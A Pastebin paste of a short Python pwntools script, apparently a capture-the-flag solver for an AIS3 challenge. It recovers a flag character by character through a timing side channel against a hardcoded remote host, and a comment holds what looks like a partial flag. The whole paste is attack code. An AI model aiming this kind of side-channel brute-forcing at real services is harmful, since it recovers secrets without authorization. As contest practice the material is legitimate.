Guest User

Untitled

a guest
Jun 9th, 2020
57
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. from pwn import *
  4.  
  5. context(arch='i386', os='linux') # i386, amd64
  6. _ATT = 0
  7. _local = 0
  8.  
  9. host = "60.250.197.227"
  10. port = "11001"
  11. r = remote(host, port)
  12.  
  13. s = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
  14.  
  15. # A1r1ght_U_4r3_my_3n3nnies
  16. mynew = 'AIS3{'
  17. big_char = ''
  18.  
  19. while True:
  20. mynew += big_char
  21. print 'big_char'
  22. print big_char
  23. print mynew
  24. if big_char == '}':
  25. break
  26. big_char = ''
  27. big_num = 0
  28. for i in s:
  29. print i
  30. unit = 0
  31. for j in range(5):
  32. r = remote(host, port)
  33. tmp = mynew + i
  34. # print tmp
  35. r.sendline(tmp)
  36. r.recvuntil('Haha, you lose in ')
  37. a = r.recvline()
  38. unit += int(a[:3])
  39. r.close()
  40. unit /= 5
  41. if unit > big_num:
  42. # print 'big'
  43. # print big_char
  44. big_num = unit
  45. big_char = i
  46.  
  47. print mynew
RAW Paste Data